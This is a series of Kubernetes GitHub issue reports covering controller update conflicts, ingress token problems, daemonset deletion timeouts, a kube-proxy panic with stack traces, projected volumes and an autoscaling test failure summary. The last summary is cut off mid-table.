a controller  job controller in this example, but this probably affects rcs too, since they share much code  is trying to update its corresponding object, and getting many conflicts.  this is a waste of apiserver time and polluting the logs.   about 6% of requests are resulting in conflicts during a busy hour. i filed  16133 to investigate the general scaling impact of 409s.  this issue is about a specific bug in the code.  in the following apiserver logs snippet, the job controller is trying to update a job object. it sends 60 puts in the course of 1 second.  most of them are 409 conflicts.      i1022 03:54:41.336733       7 handlers.go:131  put /apis/extensions/v1beta1/namespaces/e2e-tests-job-ljba5/jobs/rand-local/status:  13.176484ms  200   kube-controller-manager/v1.2.0  linux/amd64  kubernetes/a5a9176  127.0.0.1:42644  i1022 03:55:11.904379       7 handlers.go:131  put /apis/extensions/v1beta1/namespaces/e2e-tests-job-ljba5/jobs/rand-local/status:  6.016262ms  200   kube-controller-manager/v1.2.0  linux/amd64  kubernetes/a5a9176  127.0.0.1:42726  i1022 03:55:11.906337       7 handlers.go:131  put /apis/extensions/v1beta1/namespaces/e2e-tests-job-ljba5/jobs/rand-local/status:  1.155767ms  409   kube-controller-manager/v1.2.0  linux/amd64  kubernetes/a5a9176  127.0.0.1:42728  i1022 03:55:22.405341       7 handlers.go:131  put /apis/extensions/v1beta1/namespaces/e2e-tests-job-ljba5/jobs/rand-local/status:  5.832082ms  200   kube-controller-manager/v1.2.0  linux/amd64  kubernetes/a5a9176  127.0.0.1:42744  i1022 03:55:22.407320       7 handlers.go:131  put /apis/extensions/v1beta1/namespaces/e2e-tests-job-ljba5/jobs/rand-local/status:  805.836µs  409   kube-controller-manager/v1.2.0  linux/amd64  kubernetes/a5a9176  127.0.0.1:42747  i1022 03:55:22.409010       7 handlers.go:131  put /apis/extensions/v1beta1/namespaces/e2e-tests-job-ljba5/jobs/rand-local/status:  1.037274ms  409   kube-controller-manager/v1.2.0  linux/amd64  kubernetes/a5a9176  127.0.0.1:42748  i1022 03:55:22.410315       7 handlers.go:131  put /apis/extensions/v1beta1/namespaces/e2e-tests-job-ljba5/jobs/rand-local/status:  756.438µs  409   kube-controller-manager/v1.2.0  linux/amd64  kubernetes/a5a9176  127.0.0.1:42749  i1022 03:55:22.411690       7 handlers.go:131  put /apis/extensions/v1beta1/namespaces/e2e-tests-job-ljba5/jobs/rand-local/status:  768.996µs  409   kube-controller-manager/v1.2.0  linux/amd64  kubernetes/a5a9176  127.0.0.1:42750  i1022 03:55:22.413270       7 handlers.go:131  put /apis/extensions/v1beta1/namespaces/e2e-tests-job-ljba5/jobs/rand-local/status:  729.459µs  409   kube-controller-manager/v1.2.0  linux/amd64  kubernetes/a5a9176  127.0.0.1:42751  i1022 03:55:22.414826       7 handlers.go:131  put /apis/extensions/v1beta1/namespaces/e2e-tests-job-ljba5/jobs/rand-local/status:  751.907µs  409   kube-controller-manager/v1.2.0  linux/amd64  kubernetes/a5a9176  127.0.0.1:42752  i1022 03:55:22.416271       7 handlers.go:131  put /apis/extensions/v1beta1/namespaces/e2e-tests-job-ljba5/jobs/rand-local/status:  881.025µs  409   kube-controller-manager/v1.2.0  linux/amd64  kubernetes/a5a9176  127.0.0.1:42753  i1022 03:55:22.417747       7 handlers.go:131  put /apis/extensions/v1beta1/namespaces/e2e-tests-job-ljba5/jobs/rand-local/status:  917.534µs  409   kube-controller-manager/v1.2.0  linux/amd64  kubernetes/a5a9176  127.0.0.1:42754  i1022 03:55:22.423079       7 handlers.go:131  put /apis/extensions/v1beta1/namespaces/e2e-tests-job-ljba5/jobs/rand-local/status:  4.120206ms  409   kube-controller-manager/v1.2.0  linux/amd64  kubernetes/a5a9176  127.0.0.1:42755  i1022 03:55:22.427869       7 handlers.go:131  put /apis/extensions/v1beta1/namespaces/e2e-tests-job-ljba5/jobs/rand-local/status:  745.918µs  409   kube-controller-manager/v1.2.0  linux/amd64  kubernetes/a5a9176  127.0.0.1:42756  i1022 03:55:22.429114       7 handlers.go:131  put /apis/extensions/v1beta1/namespaces/e2e-tests-job-ljba5/jobs/rand-local/status:  720.739µs  409   kube-controller-manager/v1.2.0  linux/amd64  kubernetes/a5a9176  127.0.0.1:42757  i1022 03:55:22.430399       7 handlers.go:131  put /apis/extensions/v1beta1/namespaces/e2e-tests-job-ljba5/jobs/rand-local/status:  699.985µs  409   kube-controller-manager/v1.2.0  linux/amd64  kubernetes/a5a9176  127.0.0.1:42758  i1022 03:55:22.431726       7 handlers.go:131  put /apis/extensions/v1beta1/namespaces/e2e-tests-job-ljba5/jobs/rand-local/status:  761.232µs  409   kube-controller-manager/v1.2.0  linux/amd64  kubernetes/a5a9176  127.0.0.1:42759  i1022 03:55:22.434498       7 handlers.go:131  put /apis/extensions/v1beta1/namespaces/e2e-tests-job-ljba5/jobs/rand-local/status:  863.999µs  409   kube-controller-manager/v1.2.0  linux/amd64  kubernetes/a5a9176  127.0.0.1:42760  i1022 03:55:22.435891       7 handlers.go:131  put /apis/extensions/v1beta1/namespaces/e2e-tests-job-ljba5/jobs/rand-local/status:  744.91µs  409   kube-controller-manager/v1.2.0  linux/amd64  kubernetes/a5a9176  127.0.0.1:42761  i1022 03:55:22.437296       7 handlers.go:131  put /apis/extensions/v1beta1/namespaces/e2e-tests-job-ljba5/jobs/rand-local/status:  774.383µs  409   kube-controller-manager/v1.2.0  linux/amd64  kubernetes/a5a9176  127.0.0.1:42762  i1022 03:55:22.438857       7 handlers.go:131  put /apis/extensions/v1beta1/namespaces/e2e-tests-job-ljba5/jobs/rand-local/status:  779.892µs  409   kube-controller-manager/v1.2.0  linux/amd64  kubernetes/a5a9176  127.0.0.1:42763  i1022 03:55:22.442284       7 handlers.go:131  put /apis/extensions/v1beta1/namespaces/e2e-tests-job-ljba5/jobs/rand-local/status:  827.171µs  409   kube-controller-manager/v1.2.0  linux/amd64  kubernetes/a5a9176  127.0.0.1:42764  i1022 03:55:22.443643       7 handlers.go:131  put /apis/extensions/v1beta1/namespaces/e2e-tests-job-ljba5/jobs/rand-local/status:  717.321µs  409   kube-controller-manager/v1.2.0  linux/amd64  kubernetes/a5a9176  127.0.0.1:42765  i1022 03:55:22.445111       7 handlers.go:131  put /apis/extensions/v1beta1/namespaces/e2e-tests-job-ljba5/jobs/rand-local/status:  799.98µs  409   kube-controller-manager/v1.2.0  linux/amd64  kubernetes/a5a9176  127.0.0.1:42766  i1022 03:55:22.446753       7 handlers.go:131  put /apis/extensions/v1beta1/namespaces/e2e-tests-job-ljba5/jobs/rand-local/status:  888.294µs  409   kube-controller-manager/v1.2.0  linux/amd64  kubernetes/a5a9176  127.0.0.1:42767  i1022 03:55:22.448059       7 handlers.go:131  put /apis/extensions/v1beta1/namespaces/e2e-tests-job-ljba5/jobs/rand-local/status:  670.451µs  409   kube-controller-manager/v1.2.0  linux/amd64  kubernetes/a5a9176  127.0.0.1:42768  i1022 03:55:22.449598       7 handlers.go:131  put /apis/extensions/v1beta1/namespaces/e2e-tests-job-ljba5/jobs/rand-local/status:  821.285µs  409   kube-controller-manager/v1.2.0  linux/amd64  kubernetes/a5a9176  127.0.0.1:42769  i1022 03:55:22.450921       7 handlers.go:131  put /apis/extensions/v1beta1/namespaces/e2e-tests-job-ljba5/jobs/rand-local/status:  747.829µs  409   kube-controller-manager/v1.2.0  linux/amd64  kubernetes/a5a9176  127.0.0.1:42770  i1022 03:55:22.452168       7 handlers.go:131  put /apis/extensions/v1beta1/namespaces/e2e-tests-job-ljba5/jobs/rand-local/status:  754.598µs  409   kube-controller-manager/v1.2.0  linux/amd64  kubernetes/a5a9176  127.0.0.1:42771  i1022 03:55:22.453527       7 handlers.go:131  put /apis/extensions/v1beta1/namespaces/e2e-tests-job-ljba5/jobs/rand-local/status:  761.734µs  409   kube-controller-manager/v1.2.0  linux/amd64  kubernetes/a5a9176  127.0.0.1:42772  i1022 03:55:22.455003       7 handlers.go:131  put /apis/extensions/v1beta1/namespaces/e2e-tests-job-ljba5/jobs/rand-local/status:  743.162µs  409   kube-controller-manager/v1.2.0  linux/amd64  kubernetes/a5a9176  127.0.0.1:42773  i1022 03:55:22.456437       7 handlers.go:131  put /apis/extensions/v1beta1/namespaces/e2e-tests-job-ljba5/jobs/rand-local/status:  770.075µs  409   kube-controller-manager/v1.2.0  linux/amd64  kubernetes/a5a9176  127.0.0.1:42774  i1022 03:55:22.458154       7 handlers.go:131  put /apis/extensions/v1beta1/namespaces/e2e-tests-job-ljba5/jobs/rand-local/status:  1.137172ms  409   kube-controller-manager/v1.2.0  linux/amd64  kubernetes/a5a9176  127.0.0.1:42775  i1022 03:55:22.459469       7 handlers.go:131  put /apis/extensions/v1beta1/namespaces/e2e-tests-job-ljba5/jobs/rand-local/status:  716.917µs  409   kube-controller-manager/v1.2.0  linux/amd64  kubernetes/a5a9176  127.0.0.1:42776  i1022 03:55:22.460820       7 handlers.go:131  put /apis/extensions/v1beta1/namespaces/e2e-tests-job-ljba5/jobs/rand-local/status:  718.075µs  409   kube-controller-manager/v1.2.0  linux/amd64  kubernetes/a5a9176  127.0.0.1:42777  i1022 03:55:22.499757       7 handlers.go:131  put /apis/extensions/v1beta1/namespaces/e2e-tests-job-ljba5/jobs/rand-local/status:  707.28µs  409   kube-controller-manager/v1.2.0  linux/amd64  kubernetes/a5a9176  127.0.0.1:42778  i1022 03:55:22.549869       7 handlers.go:131  put /apis/extensions/v1beta1/namespaces/e2e-tests-job-ljba5/jobs/rand-local/status:  761.445µs  409   kube-controller-manager/v1.2.0  linux/amd64  kubernetes/a5a9176  127.0.0.1:42779  i1022 03:55:22.600044       7 handlers.go:131  put /apis/extensions/v1beta1/namespaces/e2e-tests-job-ljba5/jobs/rand-local/status:  756.649µs  409   kube-controller-manager/v1.2.0  linux/amd64  kubernetes/a5a9176  127.0.0.1:42780  i1022 03:55:22.649993       7 handlers.go:131  put /apis/extensions/v1beta1/namespaces/e2e-tests-job-ljba5/jobs/rand-local/status:  815.834µs  409   kube-controller-manager/v1.2.0  linux/amd64  kubernetes/a5a9176  127.0.0.1:42781  i1022 03:55:22.699746       7 handlers.go:131  put /apis/extensions/v1beta1/namespaces/e2e-tests-job-ljba5/jobs/rand-local/status:  727.554µs  409   kube-controller-manager/v1.2.0  linux/amd64  kubernetes/a5a9176  127.0.0.1:42782  i1022 03:55:22.749904       7 handlers.go:131  put /apis/extensions/v1beta1/namespaces/e2e-tests-job-ljba5/jobs/rand-local/status:  732.375µs  409   kube-controller-manager/v1.2.0  linux/amd64  kubernetes/a5a9176  127.0.0.1:42783  i1022 03:55:22.800043       7 handlers.go:131  put /apis/extensions/v1beta1/namespaces/e2e-tests-job-ljba5/jobs/rand-local/status:  978.792µs  409   kube-controller-manager/v1.2.0  linux/amd64  kubernetes/a5a9176  127.0.0.1:42784  i1022 03:55:22.849799       7 handlers.go:131  put /apis/extensions/v1beta1/namespaces/e2e-tests-job-ljba5/jobs/rand-local/status:  674.839µs  409   kube-controller-manager/v1.2.0  linux/amd64  kubernetes/a5a9176  127.0.0.1:42785  i1022 03:55:22.902901       7 handlers.go:131  put /apis/extensions/v1beta1/namespaces/e2e-tests-job-ljba5/jobs/rand-local/status:  3.785994ms  409   kube-controller-manager/v1.2.0  linux/amd64  kubernetes/a5a9176  127.0.0.1:42786  i1022 03:55:22.949882       7 handlers.go:131  put /apis/extensions/v1beta1/namespaces/e2e-tests-job-ljba5/jobs/rand-local/status:  799.499µs  409   kube-controller-manager/v1.2.0  linux/amd64  kubernetes/a5a9176  127.0.0.1:42787  i1022 03:55:23.000825       7 handlers.go:131  put /apis/extensions/v1beta1/namespaces/e2e-tests-job-ljba5/jobs/rand-local/status:  1.307724ms  409   kube-controller-manager/v1.2.0  linux/amd64  kubernetes/a5a9176  127.0.0.1:42794  i1022 03:55:23.049818       7 handlers.go:131  put /apis/extensions/v1beta1/namespaces/e2e-tests-job-ljba5/jobs/rand-local/status:  745.425µs  409   kube-controller-manager/v1.2.0  linux/amd64  kubernetes/a5a9176  127.0.0.1:42789  i1022 03:55:23.099781       7 handlers.go:131  put /apis/extensions/v1beta1/namespaces/e2e-tests-job-ljba5/jobs/rand-local/status:  685.689µs  409   kube-controller-manager/v1.2.0  linux/amd64  kubernetes/a5a9176  127.0.0.1:42799  i1022 03:55:23.150002       7 handlers.go:131  put /apis/extensions/v1beta1/namespaces/e2e-tests-job-ljba5/jobs/rand-local/status:  837.662µs  409   kube-controller-manager/v1.2.0  linux/amd64  kubernetes/a5a9176  127.0.0.1:42800  i1022 03:55:23.199912       7 handlers.go:131  put /apis/extensions/v1beta1/namespaces/e2e-tests-job-ljba5/jobs/rand-local/status:  803.189µs  409   kube-controller-manager/v1.2.0  linux/amd64  kubernetes/a5a9176  127.0.0.1:42801  i1022 03:55:23.249949       7 handlers.go:131  put /apis/extensions/v1beta1/namespaces/e2e-tests-job-ljba5/jobs/rand-local/status:  864.683µs  409   kube-controller-manager/v1.2.0  linux/amd64  kubernetes/a5a9176  127.0.0.1:42802  i1022 03:55:23.350085       7 handlers.go:131  put /apis/extensions/v1beta1/namespaces/e2e-tests-job-ljba5/jobs/rand-local/status:  1.01569ms  409   kube-controller-manager/v1.2.0  linux/amd64  kubernetes/a5a9176  127.0.0.1:42803  i1022 03:55:42.912269       7 handlers.go:131  put /apis/extensions/v1beta1/namespaces/e2e-tests-job-ljba5/jobs/rand-local/status:  5.673575ms  200   kube-controller-manager/v1.2.0  linux/amd64  kubernetes/a5a9176  127.0.0.1:42818  i1022 03:55:42.942736       7 handlers.go:131  put /apis/extensions/v1beta1/namespaces/e2e-tests-job-ljba5/jobs/rand-local/status:  4.340806ms  200   kube-controller-manager/v1.2.0  linux/amd64  kubernetes/a5a9176  127.0.0.1:42826  i1022 03:55:43.519190       7 handlers.go:131  put /apis/extensions/v1beta1/namespaces/e2e-tests-job-ljba5/jobs/rand-local/status:  4.835951ms  200   kube-controller-manager/v1.2.0  linux/amd64  kubernetes/a5a9176  127.0.0.1:42831  i1022 03:55:43.523434       7 handlers.go:131  put /apis/extensions/v1beta1/namespaces/e2e-tests-job-ljba5/jobs/rand-local/status:  1.310954ms  409   kube-controller-manager/v1.2.0  linux/amd64  kubernetes/a5a9176  127.0.0.1:42834  i1022 03:55:43.536340       7 handlers.go:131  put /apis/extensions/v1beta1/namespaces/e2e-tests-job-ljba5/jobs/rand-local/status:  6.389001ms  200   kube-controller-manager/v1.2.0  linux/amd64  kubernetes/a5a9176  127.0.0.1:42842  i1022 03:55:43.542413       7 handlers.go:131  put /apis/extensions/v1beta1/namespaces/e2e-tests-job-ljba5/jobs/rand-local/status:  1.254503ms  409   kube-controller-manager/v1.2.0  linux/amd64  kubernetes/a5a9176  127.0.0.1:42848  i1022 03:55:43.550525       7 handlers.go:131  put /apis/extensions/v1beta1/namespaces/e2e-tests-job-ljba5/jobs/rand-local/status:  4.159007ms  200   kube-controller-manager/v1.2.0  linux/amd64  kubernetes/a5a9176  127.0.0.1:42853  i1022 03:55:43.654368       7 handlers.go:131  put /apis/extensions/v1beta1/namespaces/e2e-tests-job-ljba5/jobs/rand-local/status:  4.325479ms  200   kube-controller-manager/v1.2.0  linux/amd64  kubernetes/a5a9176  127.0.0.1:42860

as @thockin points out in  2630, we have done a fair amount of discussion for the long-term plans for allocating fs groups.  these should be collected into a roadmap document; creating issue for self once i am freed up a bit.  cc @kubernetes/rh-storage

spun out of  22848, which spells it out in detail.  the interface needs to be changed in at least two ways as i see it, but there might be something simpler we can do.   1  we need a way to determine that the goroutine running the loop has been stopped.   2  once we do that, we'll need to change something to avoid the potential for deadlock that this would expose.  i have end-of-day brain, but i might sketch some solutions tomorrow.

step 0 deploy   ingress controller  , it works well.  step 1 restart apiserver,   ingress controller   can not connect to apiserver.  step 2 delete secret   default-token-xxx  , delete the   ingress controller  rc and redeploy it, this works find.  problem: restart apiserver will regenerate   token  data , all pod connected to secret apiserver should be redeploy?? any other solution?

is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :  yes, but there seems to be a bug    what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :    kubernetes delete daemonset fails    is this a bug report or feature request?    choose one :  bug report    kubernetes version    use  kubectl version  :      kubectl version client version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.4\ , gitcommit:\ dd6b458ef8dbf24aff55795baa68f83383c9b3a9\ , gittreestate:\ clean\ , builddate:\ 2016-08-01t16:45:16z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ darwin/amd64\ } server version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.4\ , gitcommit:\ dd6b458ef8dbf24aff55795baa68f83383c9b3a9\ , gittreestate:\ clean\ , builddate:\ 2016-08-01t16:38:31z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }        environment  : -   cloud provider or hardware configuration  : aws -   os    e.g. from /etc/os-release : debian gnu/linux 8  jessie  -   kernel    e.g.  uname -a  : linux ip-172-20-105-42 3.16.0-4-amd64  1 smp debian 3.16.7-ckt25-2  2016-04-08  x86_64 gnu/linux -   install tools  : kops -   others  :    what happened  : i have ingress running as a daemonset, looking for a nodeselector:            nodeselector:         roles.kubernetes.io/node: \ 1\       i am updating it to have a tcp services config map, so i needed to delete the daemonset first. ran:  kubectl delete ds nginx-ingress-controller --namespace=kube-system  and waited.  eventually, it failed with  error: timed out waiting for the condition   but  kubectl get pods --namespace=kube-system -w  shows that the pods are being terminated, and then being recreated.    what you expected to happen  : all pods and the daemonset should be deleted.    how to reproduce it    as minimally and precisely as possible : i have no idea.    anything else do we need to know  : not sure.

hi,\r \r i am running a k8s cluster in gke  among others  that has gotten into a broken state where kube-proxy panics and keeps restarting. i have asked on slack and also searched here for 'kube-proxy panic' but have not found anything similar to this problem. i have even raised a ticket with google but have not got anywhere. i feels to me like a bug in kubernetes-proxy that might be related to invalid input or something. please feel free to close this ticket if you think there's a duplicate i haven't seen or if this shouldn't be raised here.\r \r i don't know how to further debug this issue, so any pointers to extract more information would be appreciated.\r \r i'll start with the version:\r    \r » kubectl version\r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:57:25z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.8\ , gitcommit:\ c5fcb1951afb8150e4574bc234aed957cb586eb0\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t02:14:29z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r the pods in kube-system are:\r    \r » kubectl get pods  --namespace=kube-system\r name                                                           ready     status             restarts   age\r fluentd-cloud-logging-gke-go-misc-default-pool-84e90b98-0jps   1/1       running            0          21h\r fluentd-cloud-logging-gke-go-misc-default-pool-84e90b98-4jna   1/1       running            0          21h\r fluentd-cloud-logging-gke-go-misc-default-pool-84e90b98-xh7g   1/1       running            0          21h\r heapster-v1.2.0-4114705363-zg35b                               2/2       running            0          21h\r kube-dns-v20-szu6w                                             1/3       crashloopbackoff   607        21h\r kube-dns-v20-xtcmm                                             1/3       crashloopbackoff   622        21h\r kube-proxy-gke-go-misc-default-pool-84e90b98-0jps              0/1       error              253        15m\r kube-proxy-gke-go-misc-default-pool-84e90b98-4jna              0/1       crashloopbackoff   252        21h\r kube-proxy-gke-go-misc-default-pool-84e90b98-xh7g              0/1       crashloopbackoff   252        21h\r kubernetes-dashboard-v1.4.0-hqki7                              0/1       crashloopbackoff   253        21h\r l7-default-backend-v1.0-bybpx                                  1/1       running            0          21h\r    \r \r as you can see,  kube-dns  is also failing.\r \r the logs from  kube-proxy  are extracted from  /var/log/kube-proxy.log  and consist of:\r    \r i0127 11:31:00.585035       5 proxier.go:434  adding new service \ kube-system/kubernetes-dashboard:\  at 10.55.245.136:80/tcp\r i0127 11:31:00.585102       5 proxier.go:434  adding new service \ default/mona:\  at 10.55.243.217:80/tcp\r i0127 11:31:00.585266       5 proxier.go:434  adding new service \ kube-system/default-http-backend:http\  at 10.55.247.194:80/tcp\r i0127 11:31:00.585328       5 proxier.go:434  adding new service \ kube-system/heapster:\  at 10.55.242.100:80/tcp\r i0127 11:31:00.585416       5 proxier.go:434  adding new service \ kube-system/kube-dns:dns\  at 10.55.240.10:53/udp\r i0127 11:31:00.585536       5 proxier.go:434  adding new service \ kube-system/kube-dns:dns-tcp\  at 10.55.240.10:53/tcp\r i0127 11:31:00.585618       5 proxier.go:434  adding new service \ default/deployer-reporter:\  at 10.55.254.70:80/tcp\r i0127 11:31:00.585789       5 proxier.go:758  not syncing iptables until services and endpoints have been received from master\r panic: runtime error: invalid memory address or nil pointer dereference\r  signal 0xb code=0x1 addr=0x0 pc=0x526dc2 \r \r goroutine 36  running :\r panic 0x2090940, 0xc820012060 \r         /usr/local/go/src/runtime/panic.go:481 +0x3e6\r net.networknumberandmask 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 \r         /usr/local/go/src/net/ip.go:433 +0x42\r net.  ipnet .contains 0x0, 0xc820181d00, 0x10, 0x10, 0x0 \r         /usr/local/go/src/net/ip.go:457 +0x25\r k8s.io/kubernetes/pkg/proxy/iptables.  proxier .syncproxyrules 0xc8204905a0 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/proxy/iptables/proxier.go:1028 +0xa95c\r k8s.io/kubernetes/pkg/proxy/iptables.  proxier .onendpointsupdate 0xc8204905a0, 0xc82031f600, 0xa, 0x10 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/proxy/iptables/proxier.go:597 +0x153b\r k8s.io/kubernetes/pkg/proxy/config.  endpointsconfig .registerhandler.func1 0x1bc7b00, 0xc8204cc100 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/proxy/config/config.go:100 +0xdc\r k8s.io/kubernetes/pkg/util/config.listenerfunc.onupdate 0xc8202237e0, 0x1bc7b00, 0xc8204cc100 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/config/config.go:110 +0x30\r k8s.io/kubernetes/pkg/util/config.  broadcaster .notify 0xc820382fc0, 0x1bc7b00, 0xc8204cc100 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/config/config.go:138 +0xf8\r k8s.io/kubernetes/pkg/proxy/config.watchforupdates 0xc820382fc0, 0x7f12b24ee070, 0xc820382f30, 0xc8203bb680 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/proxy/config/config.go:297 +0x76\r created by k8s.io/kubernetes/pkg/proxy/config.newendpointsconfig\r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/proxy/config/config.go:93 +0x248\r flag --resource-container has been deprecated, this feature will be removed in a later release.\r i0127 11:36:11.549654       5 iptables.go:176  could not connect to d-bus system bus: dial unix /var/run/dbus/system_bus_socket: connect: no such file or directory\r i0127 11:36:11.549711       5 server.go:156  setting oom scores is unsupported in this build\r i0127 11:36:11.580385       5 server.go:203  using iptables proxier.\r i0127 11:36:11.585768       5 server.go:215  tearing down userspace rules.\r i0127 11:36:11.592542       5 healthcheck.go:119  initializing kube-proxy health checker\r i0127 11:36:11.611125       5 conntrack.go:81  set sysctl 'net/netfilter/nf_conntrack_max' to 131072\r i0127 11:36:11.611507       5 conntrack.go:66  setting conntrack hashsize to 32768\r i0127 11:36:11.611768       5 conntrack.go:81  set sysctl 'net/netfilter/nf_conntrack_tcp_timeout_established' to 86400\r i0127 11:36:11.611788       5 conntrack.go:81  set sysctl 'net/netfilter/nf_conntrack_tcp_timeout_close_wait' to 3600\r i0127 11:36:11.614262       5 proxier.go:434  adding new service \ kube-system/kube-dns:dns\  at 10.55.240.10:53/udp\r i0127 11:36:11.614381       5 proxier.go:434  adding new service \ kube-system/kube-dns:dns-tcp\  at 10.55.240.10:53/tcp\r i0127 11:36:11.614442       5 proxier.go:434  adding new service \ kube-system/kubernetes-dashboard:\  at 10.55.245.136:80/tcp\r i0127 11:36:11.614477       5 proxier.go:434  adding new service \ default/mona:\  at 10.55.243.217:80/tcp\r i0127 11:36:11.614560       5 proxier.go:434  adding new service \ default/kubernetes:https\  at 10.55.240.1:443/tcp\r i0127 11:36:11.614590       5 proxier.go:434  adding new service \ default/deployer-reporter:\  at 10.55.254.70:80/tcp\r i0127 11:36:11.614653       5 proxier.go:434  adding new service \ kube-system/default-http-backend:http\  at 10.55.247.194:80/tcp\r i0127 11:36:11.614682       5 proxier.go:434  adding new service \ kube-system/heapster:\  at 10.55.242.100:80/tcp\r i0127 11:36:11.614725       5 proxier.go:758  not syncing iptables until services and endpoints have been received from master\r i0127 11:36:11.625561       5 proxier.go:1321  opened local port \ nodeport for default/mona:\   :31375/tcp \r panic: runtime error: invalid memory address or nil pointer dereference\r  signal 0xb code=0x1 addr=0x0 pc=0x526dc2 \r \r goroutine 36  running :\r panic 0x2090940, 0xc820012060 \r         /usr/local/go/src/runtime/panic.go:481 +0x3e6\r net.networknumberandmask 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 \r         /usr/local/go/src/net/ip.go:433 +0x42\r net.  ipnet .contains 0x0, 0xc82017fd40, 0x10, 0x10, 0x0 \r         /usr/local/go/src/net/ip.go:457 +0x25\r k8s.io/kubernetes/pkg/proxy/iptables.  proxier .syncproxyrules 0xc820494820 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/proxy/iptables/proxier.go:1028 +0xa95c\r k8s.io/kubernetes/pkg/proxy/iptables.  proxier .onendpointsupdate 0xc820494820, 0xc82031d600, 0xa, 0x10 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/proxy/iptables/proxier.go:597 +0x153b\r k8s.io/kubernetes/pkg/proxy/config.  endpointsconfig .registerhandler.func1 0x1bc7b00, 0xc8204d6300 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/proxy/config/config.go:100 +0xdc\r k8s.io/kubernetes/pkg/util/config.listenerfunc.onupdate 0xc820225820, 0x1bc7b00, 0xc8204d6300 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/config/config.go:110 +0x30\r k8s.io/kubernetes/pkg/util/config.  broadcaster .notify 0xc8203c4fc0, 0x1bc7b00, 0xc8204d6300 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/config/config.go:138 +0xf8\r k8s.io/kubernetes/pkg/proxy/config.watchforupdates 0xc8203c4fc0, 0x7fdc594a2070, 0xc8203c4f30, 0xc8203bb620 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/proxy/config/config.go:297 +0x76\r created by k8s.io/kubernetes/pkg/proxy/config.newendpointsconfig\r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/proxy/config/config.go:93 +0x248\r    \r \r   environment  :\r -   cloud provider  : google container engine. runs version 1.4.8, which i think it's the latest.\r -   os    e.g. from /etc/os-release :\r    \r cat /etc/os-release\r build_id=8872.47.0\r name=\ container-vm image\ \r google_crash_id=lakitu\r version_id=55\r bug_report_url=https://crbug.com/new\r pretty_name=\ google container-vm image\ \r version=55\r google_metrics_product_id=26\r home_url=\ https://cloud.google.com/compute/docs/containers/vm-image/\ \r id=gci\r    \r -   kernel    e.g.  uname -a  :  linux gke-go-misc-default-pool-84e90b98-0jps 4.4.21+  1 smp thu nov 10 21:43:53 pst 2016 x86_64 intel r  xeon r  cpu @ 2.60ghz genuineintel gnu/linux \r -   install tools  : client version runs on mac os sierra.\r \r   what happened  :\r not entirely sure what happened. i was adding a new service when i started noticing that it was not working. i noticed that there were no iptables rules to route to this new service.\r \r \r   how to reproduce it  :\r unsure. i would like to know any tips on how to extract more information.\r \r \r \r let me know if you need anything else i can help with.\r \r thank you.\r \r

according to the documentation in here https://kubernetes.io/docs/concepts/storage/volumes/ projected the configmap should be supported in the projected volume, yet only secrets work. \r \r using kubernetes 1.6.4 on gke.\r \r  i have a bunch of configmaps that i want to mount into a single directory so this is very important for me.

in  46463 we stopped filtering nodes by their running state.  but this means that the nodename is no longer a unique key.  we need to rework the volume status checker to deal with this.

failure cluster  b75045e2cb613e12dca1  https://go.k8s.io/triage b75045e2cb613e12dca1        error text:     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/autoscaling/horizontal_pod_autoscaling.go:80 timeout waiting 15m0s for 2 replicas expected error:     < errors.errorstring | 0xc4202ae940>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/autoscaling/horizontal_pod_autoscaling.go:122           failure cluster statistics: 7 tests failed,    32 jobs failed,    95 builds failed. failure stats cover 1 day time range '2 aug 2017 04:55 utc' to '3 aug 2017 04:55 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | |  k8s.io   hpa  horizontal pod autoscaling  scale resource: cpu   k8s.io   serial   slow  replicationcontroller should scale from 1 pod to 3 pods and from 3 to 5 and verify decision stability | 16 | |  k8s.io   hpa  horizontal pod autoscaling  scale resource: cpu   k8s.io   serial   slow  deployment should scale from 1 pod to 3 pods and from 3 to 5 | 13 | |  k8s.io   hpa  horizontal pod autoscaling  scale resource: cpu   k8s.io   serial   slow  replicaset should scale from 1 pod to 3 pods and from 3 to 5 | 12 |        top failed jobs by 